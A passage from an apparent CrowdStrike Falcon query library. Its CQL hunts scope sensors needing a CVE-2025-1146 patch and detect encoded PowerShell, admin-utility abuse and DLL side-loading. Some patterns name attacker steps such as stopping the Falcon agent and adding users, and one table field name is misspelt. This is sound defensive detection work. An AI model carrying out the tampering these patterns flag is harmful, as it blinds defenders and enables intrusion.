minorVersion=15 buildNumber<16806| Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=16 buildNumber<16909| Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=17 buildNumber<17014| Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=18 buildNumber<17131| Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=19 buildNumber<17221| Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=20 buildNumber<17308| Status:="NEEDS PATCH"; event_platform=Lin | Status:="OK"; *; } // Evaluate K8 Sensors | case { event_platform=K8S majorVersion=6 | Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion<=5 | Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion=6 buildNumber<603 | Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion=10 buildNumber<806 | Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion=11 buildNumber<904 | Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion=12 buildNumber<1002| Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion=13 buildNumber<1102| Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion=14 buildNumber<1203| Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion=16 buildNumber<1403| Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion=17 buildNumber<1503| Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion=18 buildNumber<1605| Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion=20 buildNumber<1808| Status:="NEEDS PATCH"; event_platform=K8S | Status:="OK"; *; } // Modify field names for easier reading | rename([[cid, "Customer ID"],[aid, "Agent ID"], [event_platform, Platform], [aip, "External IP"]]) // Aggregate results into tabular format | groupBy(["Customer ID", "Agent ID", ComputerName, Platform, Version, AgentVersion, Status, "External IP", LocalAddressIP4, MAC, SystemManufacturer, SystemProductName, FirstSeen, Time], function=[], limit=max) // Set default values for easier reading | default(value="-", field=[ComputerName, Version, AgentVersion, Status, LocalAddressIP4, MAC, SystemManufacturer, SystemProductName, FirstSeen, Time], replaceEmpty=true) // Move timestamps from epoch to human readable | formatTime(format="%F %T", as="FirstSeen", field=FirstSeen) | formatTime(format="%F %T", as="LastSeen", field=Time) // Remove unnecessary field | drop([Time])
CrowdStrike
cve-2025-1146-system-scoping-using-aid-master
CVE-2025-1146 - System Scoping using OsVersionInfo
Monitoring
Endpoint
Insight
The query below will look for Linux systems (Linux, K8, Containers) that need to be updated against CVE-2025-1146. The query is based on the event OsVersionInfo which is generated every 24-hours, at sensor start, or at sensor update.
CQL
Copy
Run in Falcon ↗
/* The query below will look for Linux systems (Linux, K8, Containers) that need to be updated against CVE-2025-1146. The query is based on the event OsVersionInfo which is generated every 24-hours, at sensor start, or at sensor update. */ // Get OsVersionInfo events; sent by sensor every 24-hours or at sensor start or update #event_simpleName=OsVersionInfo // Narrow search to only include Linux, Container, and K8 systems | in(field="event_platform", values=[Lin, K8S]) // Enrich required fields from aid_master_main.csv | aid=~match(file="aid_master_main.csv", column=[aid], include=[ProductType, Version, MAC, SystemManufacturer, SystemProductName, FirstSeen, Time], strict=false) // Parse AgentVersion into individual components for evaluation | AgentVersion=/^(?<majorVersion>\d+)\.(?<minorVersion>\d+)\.(?<buildNumber>\d+)\./ // Evaluate Linux Container Sensors | case { event_platform=Lin ProductType=Pod majorVersion=6 | Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion<=5 | Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=6 buildNumber<4705| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=10 buildNumber<4907| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=11 buildNumber<5003| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=12 buildNumber<5102| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=13 buildNumber<5202| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=14 buildNumber<5306| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=15 buildNumber<5403| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=16 buildNumber<5503| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=17 buildNumber<5603| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=18 buildNumber<5705| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=19 buildNumber<5807| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=20 buildNumber<5908| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod | Status:="OK" | event_platform:="Lin (Pod)"; *; } // Evaluate Linux Sensors | case { event_platform=Lin majorVersion=6 | Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion<=5 | Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=6 buildNumber<16113 | Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=7 buildNumber<16209 | Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=10 buildNumber<16321| Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=11 buildNumber<16410| Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=13 buildNumber<16606| Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=14 buildNumber<16705| Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=15 buildNumber<16806| Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=16 buildNumber<16909| Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=17 buildNumber<17014| Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=18 buildNumber<17131| Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=19 buildNumber<17221| Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=20 buildNumber<17308| Status:="NEEDS PATCH"; event_platform=Lin | Status:="OK"; *; } // Evaluate K8 Sensors | case { event_platform=K8S majorVersion=6 | Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion<=5 | Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion=6 buildNumber<603 | Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion=10 buildNumber<806 | Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion=11 buildNumber<904 | Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion=12 buildNumber<1002| Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion=13 buildNumber<1102| Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion=14 buildNumber<1203| Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion=16 buildNumber<1403| Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion=17 buildNumber<1503| Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion=18 buildNumber<1605| Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion=20 buildNumber<1808| Status:="NEEDS PATCH"; event_platform=K8S | Status:="OK"; *; } // Aggregate results into tabular format | groupBy([cid, aid], function=([selectLast([cid, cid, ComputerName, event_platform, Version, AgentVersion, Status, aip, LocalAddressIP4, MAC, SystemManufacturer, SystemProductName, FirstSeen, Time])]), limit=max) // Modify field names for easier reading | rename([[cid, "Customer ID"],[aid, "Agent ID"], [event_platform, Platform], [aip, "External IP"]]) // Aggregate results into tabular format with cleaner ordering | groupBy(["Customer ID", "Agent ID", ComputerName, Platform, Version, AgentVersion, Status, "External IP", LocalAddressIP4, MAC, SystemManufacturer, SystemProductName, FirstSeen, Time], function=[], limit=max) // Set default values for easier reading | default(value="-", field=[ComputerName, Version, AgentVersion, Status, LocalAddressIP4, MAC, SystemManufacturer, SystemProductName, FirstSeen, Time], replaceEmpty=true) // Move timestamps from epoch to human readable | formatTime(format="%F %T", as="FirstSeen", field=FirstSeen) | formatTime(format="%F %T", as="LastSeen", field=Time) // Remove unnecessary field | drop([Time])
CrowdStrike
cve-2025-1146-system-scoping-using-osversioninfo
CVE-2025-1146 - System Scoping using OsVersionInfo & Logon Data
Monitoring
Endpoint
Insight
The query below will look for Linux systems (Linux, K8, Containers) that need to be updated against CVE-2025-1146. The query is based on the event OsVersionInfo which is generated every 24-hours, at sensor start, or at sensor update. It attempts to merge in LogonType 2 and 10 to determine the last logged on user.
CQL
Copy
Run in Falcon ↗
/* The query below will look for Linux systems (Linux, K8, Containers) that need to be updated against CVE-2025-1146. The query is based on the event OsVersionInfo which is generated every 24-hours, at sensor start, or at sensor update. It attempts to merge in LogonType 2 and 10 to determine the last logged on user. */ // Get OsVersionInfo events; sent by sensor every 24-hours or at sensor start or update #event_simpleName=OsVersionInfo // Narrow search to only include Linux, Container, and K8 systems | in(field="event_platform", values=[Lin, K8S]) // Enrich required fields from aid_master_main.csv | aid=~match(file="aid_master_main.csv", column=[aid], include=[ProductType, Version, MAC, SystemManufacturer, SystemProductName, FirstSeen, Time], strict=false) // Parse AgentVersion into individual components for evaluation | AgentVersion=/^(?<majorVersion>\d+)\.(?<minorVersion>\d+)\.(?<buildNumber>\d+)\./ // Evaluate Linux Container Sensors | case { event_platform=Lin ProductType=Pod majorVersion=6 | Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion<=5 | Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=6 buildNumber<4705| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=10 buildNumber<4907| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=11 buildNumber<5003| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=12 buildNumber<5102| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=13 buildNumber<5202| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=14 buildNumber<5306| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=15 buildNumber<5403| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=16 buildNumber<5503| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=17 buildNumber<5603| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=18 buildNumber<5705| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=19 buildNumber<5807| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=20 buildNumber<5908| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod | Status:="OK" | event_platform:="Lin (Pod)"; *; } // Evaluate Linux Sensors | case { event_platform=Lin majorVersion=6 | Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion<=5 | Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=6 buildNumber<16113 | Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=7 buildNumber<16209 | Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=10 buildNumber<16321| Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=11 buildNumber<16410| Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=13 buildNumber<16606| Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=14 buildNumber<16705| Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=15 buildNumber<16806| Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=16 buildNumber<16909| Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=17 buildNumber<17014| Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=18 buildNumber<17131| Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=19 buildNumber<17221| Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=20 buildNumber<17308| Status:="NEEDS PATCH"; event_platform=Lin | Status:="OK"; *; } // Evaluate K8 Sensors | case { event_platform=K8S majorVersion=6 | Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion<=5 | Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion=6 buildNumber<603 | Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion=10 buildNumber<806 | Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion=11 buildNumber<904 | Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion=12 buildNumber<1002| Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion=13 buildNumber<1102| Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion=14 buildNumber<1203| Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion=16 buildNumber<1403| Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion=17 buildNumber<1503| Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion=18 buildNumber<1605| Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion=20 buildNumber<1808| Status:="NEEDS PATCH"; event_platform=K8S | Status:="OK"; *; } // Aggregate results into tabular format | groupBy([cid, aid], function=([selectLast([cid, cid, ComputerName, event_platform, Version, AgentVersion, Status, aip, LocalAddressIP4, MAC, SystemManufacturer, SystemProductName, FirstSeen, Time])]), limit=max) // Add user logon data if available | join(query={#event_simpleName=UserLogon LogonType=/^(2|10)$/ event_platform=Lin | groupBy([aid], function=[(selectLast([UserName, UID, LogonType]))])}, field=[aid], include=[UserName, UID, LogonType], start=7d, mode=left) // Modify field names for easier reading | rename([[cid, "Customer ID"],[aid, "Agent ID"], [event_platform, Platform], [aip, "External IP"]]) // Aggregate results into tabular format with cleaner ordering | groupBy(["Customer ID", "Agent ID", ComputerName, UserName, UID, LogonType, Platform, Version, AgentVersion, Status, "External IP", LocalAddressIP4, MAC, SystemManufacturer, SystemProductName, FirstSeen, Time], function=[], limit=max) // Set default values for easier reading | default(value="-", field=[ComputerName, Version, AgentVersion, Status, LocalAddressIP4, MAC, SystemManufacturer, SystemProductName, FirstSeen, Time, UID, UserName, LogonType], replaceEmpty=true) // Move LogonType to human readable | case { LogonType=2 | LogonType:="Interactive"; LogonType=10| LogonType:="SSH"; *; } // Move timestamps from epoch to human readable | formatTime(format="%F %T", as="FirstSeen", field=FirstSeen) | formatTime(format="%F %T", as="LastSeen", field=Time) // Remove unnecessary field | drop([Time])
CrowdStrike
cve-2025-1146-system-scoping-using-osversioninfo-logon-data
Detect and Decode Base64-Encoded PowerShell Commands
Hunting
Endpoint
Insight
The query identifies Windows PowerShell executions using encoded commands, extracts and decodes Base64 payloads (including nested encodings), counts occurrences and unique hosts, and outputs decoded command content for analysis of potentially obfuscated activity.
CQL
Copy
Run in Falcon ↗
#event_simpleName=ProcessRollup2 event_platform=Win ImageFileName=/.*\\powershell\.exe/ | CommandLine=/\s+\-(e|encoded|encodedcommand|enc)\s+/i | CommandLine=/\-(?<psEncFlag>(e|encoded|encodedcommand|enc))\s+/i | length("CommandLine", as="cmdLength") | groupby([psEncFlag, cmdLength, CommandLine], function=stats([count(aid, distinct=true, as="uniqueEndpointCount"), count(aid, as="executionCount")]), limit=max) | EncodedString := splitString(field=CommandLine, by="-e* ", index=1) | CmdLinePrefix := splitString(field=CommandLine, by="-e* ", index=0) | DecodedString := base64Decode(EncodedString, charset="UTF-16LE") // Look for encoded messages in the decoded message and decode those too. | case { DecodedString = /encoded/i | SubEncodedString := splitString(field=DecodedString, by="-EncodedCommand ", index=1) | SubCmdLinePrefix := splitString(field=EncodedString, by="-EncodedCommand ", index=0) | SubDecodedString := base64Decode(SubEncodedString, charset="UTF-16LE"); * } | table([executionCount, uniqueEndpoitnCount, cmdLength, DecodedString, CommandLine]) | sort(executionCount, order=desc)
CrowdStrike
detect-and-decode-base64-encoded-powershell-commands
Detect Suspicious Windows Command-Line Activity Using System Utilities
Hunting
Endpoint
Insight
The query analyzes Windows ProcessRollup2 events to identify unusual use of common administrative tools (e.g., net.exe, sc.exe, nltest.exe, systeminfo.exe). It assigns behavior weights based on command-line patterns, aggregates activity per host and hour, flags systems with high or frequent activity, and provides direct links for host investigation in Falcon.
CQL
Copy
Run in Falcon ↗
// Get all Windows ProcessRollup2 Events #event_simpleName=ProcessRollup2 event_platform=Win // Narrow to processes of interest and create FileName variable | ImageFileName=/\\(?<FileName>(whoami|net1?|systeminfo|ping|nltest|sc|hostname|ipconfig)\.exe)/i // Get timestamp value with date and hour value | ProcessStartTime := ProcessStartTime*1000 | dayBucket := formatTime("%Y-%m-%d %H", field=ProcessStartTime, locale=en_US, timezone=Z) // Force CommandLine and FileName into lower case | CommandLine := lower(CommandLine) | FileName := lower(FileName) // Parse flag used in "net" command | regex("(sc|net1?)\s+(?<netFlag>\S+)\s+", field=CommandLine, strict=false) // Force netFlag to lower case | netFlag := lower(netFlag) // Create evaulation criteria and weighting for process usage; modified behaviorWeight integer as desired | case { FileName=/net1?\.exe/ AND netFlag="start" | behaviorWeight := "4" ; FileName=/net1?\.exe/ AND netFlag="stop" | behaviorWeight := "4" ; FileName=/net1?\.exe/ AND netFlag="stop" AND CommandLine=/falcon/i | behaviorWeight := "25" ; FileName=/sc\.exe/ AND netFlag="start" | behaviorWeight := "4" ; FileName=/sc\.exe/ AND netFlag="stop" | behaviorWeight := "4" ; FileName=/sc\.exe/ AND netFlag=/(query|stop)/i AND CommandLine=/csagent/i | behaviorWeight := "25" ; FileName=/net1?\.exe/ AND netFlag="share" | behaviorWeight := "2" ; FileName=/net1?\.exe/ AND netFlag="user" AND CommandLine=/\/delete/i | behaviorWeight := "10" ; FileName=/net1?\.exe/ AND netFlag="user" AND CommandLine=/\/add/i | behaviorWeight := "10" ; FileName=/net1?\.exe/ AND netFlag="group" AND CommandLine=/\/domain\s+/i | behaviorWeight := "5" ; FileName=/net1?\.exe/ AND netFlag="group" AND CommandLine=/admin/i | behaviorWeight := "5" ; FileName=/net1?\.exe/ AND netFlag="localgroup" AND CommandLine=/\/add/i | behaviorWeight := "10" ; FileName=/net1?\.exe/ AND netFlag="localgroup" AND CommandLine=/\/delete/i | behaviorWeight := "10" ; FileName=/nltest\.exe/ | behaviorWeight := "3" ; FileName=/systeminfo\.exe/ | behaviorWeight := "3" ; FileName=/whoami\.exe/ | behaviorWeight := "3" ; FileName=/ping\.exe/ | behaviorWeight := "3" ; FileName=/hostname\.exe/ | behaviorWeight := "3" ; FileName=/ipconfig\.exe/ | behaviorWeight := "3" ; * } | default(field=behaviorWeight, value=1) // Create FileName and CommandLine one-liner | format(format="(Score: %s) %s • %s", field=[behaviorWeight, FileName, CommandLine], as="executionDetails") // Group and organize output | groupby([cid,aid, dayBucket], function=[count(FileName, distinct=true, as="fileCount"), sum(behaviorWeight, as="behaviorWeight"), series(executionDetails)], limit=max) // Set thresholds | fileCount >= 5 OR behaviorWeight > 30 // Add Host Search link | format("[Host Search](https://falcon.crowdstrike.com/investigate/events/en-us/app/eam2/investigate__computer?earliest=-24h&latest=now&computer=*&aid_tok=%s&customer_tok=*)", field=["aid"], as="Host Search") // Sort descending by behavior weighting | sort(behaviorWeight) | drop([@timestamp, _duration])
CrowdStrike
detect-suspicious-windows-command-line-activity-using-system-utilities
Dll-Side Loading Detection Query
Hunting
Endpoint
Insight
The query traces processes that write both DLL and EXE files to the same location while exhibiting masquerading behavior.
CQL
Copy
Run in Falcon ↗
//Tracing the ProcessId of a Process / File which is writting atleast 1 each EXE and DLL to same Path, Doing the Process Original name masquarading and atleast 1 File Author name is Microsoft in "DLL-Filewrite", tracking throughtout as SusProcessID defineTable(query={#event_simpleName=/(PeFileWritten)/iF |lowercase("FileName") |lowercase("OriginalFilename") |(FileName="*" and OriginalFilename="*") | regex("(?<DllFileName>^.*)\.dll", field=FileName, strict=false) | regex("(?<EXEFileName>^.*)\.exe", field=FileName, strict=false) | MasquraeCheck:=if(FileName==OriginalFilename, then="Normal", else="Masquarade") |MasquraeCheck!="Normal" |SusProcessID:=format(format="%s%s", field=[aid,ContextProcessId]) |rename(field="SHA256HashData", as="SusHash") |rename(field="FileName", as="FileWritten") // Exclusions FOr Edge Browser |OriginalFilename!=microsoftedgeupdate.exe OriginalFilename!=msedgeupdate.dll |groupBy([SusProcessID,FilePath],function=([collect([DllFileName,EXEFileName,SusHash,FileWritten,OriginalFilename,CompanyName]),count(DllFileName,as=DllC),count(EXEFileName,as=EXEC)]),limit=max) |DllC>=1 EXEC>=1 CompanyName=/Microsoft/iF }, include=[FilePath,FileWritten,OriginalFilename,SusHash,DllFileName,EXEFileName,CompanyName,SusProcessID,ComputerName,UserName], name="DLL-Filewrite") // Then tracing the Parent File for files written operation in "DLL-Filewrite" getting FileWriteParent, tracked as "DLL-Parent" |defineTable(query={#event_simpleName=/(ProcessRollup2)/iF |TargetProcessId:=format(format="%s%s", field=[aid,TargetProcessId]) |ParentProcessId:=format(format="%s%s", field=[aid,ParentProcessId]) |match(file="DLL-Filewrite", field=[TargetProcessId],column=[SusProcessID],strict=true,include=[FilePath,FileWritten,OriginalFilename,SusHash,CompanyName,SusProcessID,ComputerName,UserName]) |rename(field="ParentBaseFileName", as="FileWriteParent") |case{ CommandLine=* |regex("\"[^\"]+\"\\s+\"(?P<FullPath>[^\"]*\\\\)?", field=CommandLine)| regex(".*\\\\(?<FileNamey>[^\\\\\"]+?)\"?$", field=CommandLine); * } |case{ FullPath="*" or FileNamey="*" | FileWriteFileSource:=format(format="%s\n\t└-> %s", field=[FileNamey,FullPath]); FullPath!="*" FileNamey!="*" | FileWriteFileSource:=format(format="%s", field=[FileName]); * } | coalesce([FileNamey,FileName],as=FileWriteFile,ignoreEmpty=false) }, include=[FileWriteFile,FileWriteFileSource,FileWriteParent,FilePath,FileWritten,SusHash,OriginalFilename,CompanyName,SusProcessID,ComputerName,UserName], name="DLL-Parent") // Then Tracing the DLL-side-Loading Process startup for "DLL-Parent", getting DLLSideLoadProcess, tracked as "DLLSideLoadProcess" |defineTable(query={#event_simpleName=/(ProcessRollup2)/iF |DLLSideLoadProcess:=format(format="%s\n\t└-> %s", field=[ParentBaseFileName,FileName]) |TargetProcessId:=format(format="%s%s", field=[aid,TargetProcessId]) |ParentProcessId:=format(format="%s%s", field=[aid,ParentProcessId]) |match(file="DLL-Parent", field=[ParentProcessId],column=[SusProcessID],strict=true,include=[FileWriteFile,FileWriteFileSource,FileWriteParent,FilePath,FileWritten,SusHash,OriginalFilename,CompanyName,SusProcessID,ComputerName,UserName]) |rename(field="TargetProcessId", as="ModuleLoadId") | rename(field="ProcessStartTime", as="ProcessStartTime") }, include=[FileWriteFile,FileWriteFileSource,ProcessStartTime,DLLSideLoadProcess,FileWriteParent,FilePath,FileWritten,SusHash,OriginalFilename,CompanyName,ModuleLoadId,SusProcessID,ComputerName,UserName], name="DLLSideLoadProcess") // Then tracing the DLL/EXE side loaded for DLLSideLoadProcess from "DLLSideLoadProcess", tracked as "DllLoading" |defineTable(query={#event_simpleName=/(ClassifiedModuleLoad)/iF |rename(field="FileName", as="DllLoad") |TargetProcessId:=format(format="%s%s", field=[aid,TargetProcessId]) |ParentProcessId:=format(format="%s%s", field=[aid,ParentProcessId]) |ContextProcessId:=format(format="%s%s", field=[aid,ContextProcessId]) | "DllLoaded Files":= format(format="%s\n\t└-> %s", field=[DllLoad,FilePath]) |match(file="DLLSideLoadProcess", field=[ContextProcessId],column=[ModuleLoadId],strict=true,include=[FileWriteFile,FileWriteFileSource,ProcessStartTime,DLLSideLoadProcess,FileWriteParent,FilePath,FileWritten,SusHash,OriginalFilename,CompanyName,SusProcessID,ComputerName,UserName]) |rename(field="TargetProcessId", as="ModuleLoadId") |case { ModuleLoadTelemetryClassification = 1 | ModuleLoadTelemetryClassification := "FIRST_LOAD\n\t\t└->This is the first time this module has been loaded into a process on the host"; ModuleLoadTelemetryClassification = 2 | ModuleLoadTelemetryClassification := "RUNDLL32_TARGET\n\t\t└->This module is the target of a rundll32.exe invocation"; ModuleLoadTelemetryClassification = 4 | ModuleLoadTelemetryClassification := "DETECT_TREE\n\t\t└->The module was loaded into a process that is in an active detect tree"; ModuleLoadTelemetryClassification = 8 | ModuleLoadTelemetryClassification := "MAPPED_FROM_KERNEL_MODE\n\t\t└->The module was loaded into kernel mode address space"; ModuleLoadTelemetryClassification = 16 | ModuleLoadTelemetryClassification := "UNUSUAL_EXTENSION\n\t\t└->The module has an unexpected, unusual or rare extension"; ModuleLoadTelemetryClassification = 32 | ModuleLoadTelemetryClassification := "MOTW\n\t\t└->The module has the Mark of the Web zone identifier"; ModuleLoadTelemetryClassification = 64 | ModuleLoadTelemetryClassification := "SIGN_INFO_CONTINUITY\n\t\t└->The module does not have a valid signature and it was loaded into a process with a primary module that does have a valid signature"; ModuleLoadTelemetryClassification = 256 | ModuleLoadTelemetryClassification := "ORIGINAL_FILENAME_MISMATCH\n\t\t└->Module's ImageFileName doesn't match OriginalFileName"; ModuleLoadTelemetryClassification = 512 | ModuleLoadTelemetryClassification := "REMOVABLE_MEDIA\n\t\t└->The module was loaded from removable media (ISO/IMG)"; ModuleLoadTelemetryClassification = 1024 | ModuleLoadTelemetryClassification := "DATA_EXTENSION\n\t\t└->The module has a data type extension"; ModuleLoadTelemetryClassification = 257 | ModuleLoadTelemetryClassification := "FIRST_LOAD_AND_FILENAME_MISMATCH\n\t\t└->This is the first time this module has been loaded into a process on the host and its ImageFileName doesnt match OriginalFileName"; * | ModuleLoadTelemetryClassification := format(format="Value=%s\n\t\t└->Multiple module load telemetry flags are set, Check ModuleLoadTelemetryClassification documentation", field=[ModuleLoadTelemetryClassification]) } }, include=[FileWriteFile,FileWriteFileSource,ProcessStartTime,DLLSideLoadProcess,"DllLoaded Files",ModuleLoadTelemetryClassification,FileWriteParent,FilePath,FileWritten,SusHash,OriginalFilename,CompanyName,SusProcessID,ComputerName,UserName], name="DllLoading") //Performing the aggregation in the presentable format + to prepare for matchup for MOTW URLS in next table |defineTable(query={readFile([DllLoading]) |groupBy([ProcessStartTime,SusProcessID,ComputerName,UserName],function=([collect([FileWriteFile,FileWriteFileSource,FileWriteParent,FilePath,FileWritten,OriginalFilename,CompanyName,DLLSideLoadProcess,"DllLoaded Files",ModuleLoadTelemetryClassification,SusHash]),count("DllLoaded Files",distinct=true,as="DllLoaded Files Count")]),limit=max)},include=[ProcessStartTime,SusProcessID,ComputerName,FileWriteFile,UserName,FileWriteFileSource,FileWriteParent,FilePath,FileWritten,OriginalFilename,CompanyName,DLLSideLoadProcess,"DllLoaded Files",ModuleLoadTelemetryClassification,SusHash,"DllLoaded Files Count"], name="Aggregation") //Fetching MOTW URLS |defineTable(query={#event_simpleName=MotwWritten |match(file="Aggregation", field=[ComputerName,FileName],column=[ComputerName,FileWriteFile],strict=true,ignoreCase=true, include=[FileWriteFile,FileWriteFileSource,ProcessStartTime,DLLSideLoadProcess,"DllLoaded Files",ModuleLoadTelemetryClassification,FileWriteParent,FilePath,FileWritten,SusHash,OriginalFilename,CompanyName,SusProcessID,ComputerName,UserName,"DllLoaded Files Count"]) |case{ HostUrl!="" ReferrerUrl="" |FileWriteFileSourceURL:=format(format="Download URL= %s", field=[HostUrl]); HostUrl="" ReferrerUrl!="" |FileWriteFileSourceURL:=format(format="Referrer URL= %s", field=[ReferrerUrl]); HostUrl!="" OR ReferrerUrl!="" |FileWriteFileSourceURL:=format(format="Download URL= %s\nReferrer URL= %s", field=[HostUrl,ReferrerUrl]); * } }, include=[FileWriteFile,FileWriteFileSourceURL,FileWriteFileSource,ProcessStartTime,DLLSideLoadProcess,"DllLoaded Files",ModuleLoadTelemetryClassification,FileWriteParent,FilePath,FileWritten,SusHash,OriginalFilename,CompanyName,SusProcessID,ComputerName,UserName,"DllLoaded Files Count"], name="MOTW") |readFile(["Aggregation","MOTW"]) |case{ FileWriteFileSourceURL!="*" |FileWriteFileSourceURL:=format(format="No URL Found", field=[]); * } 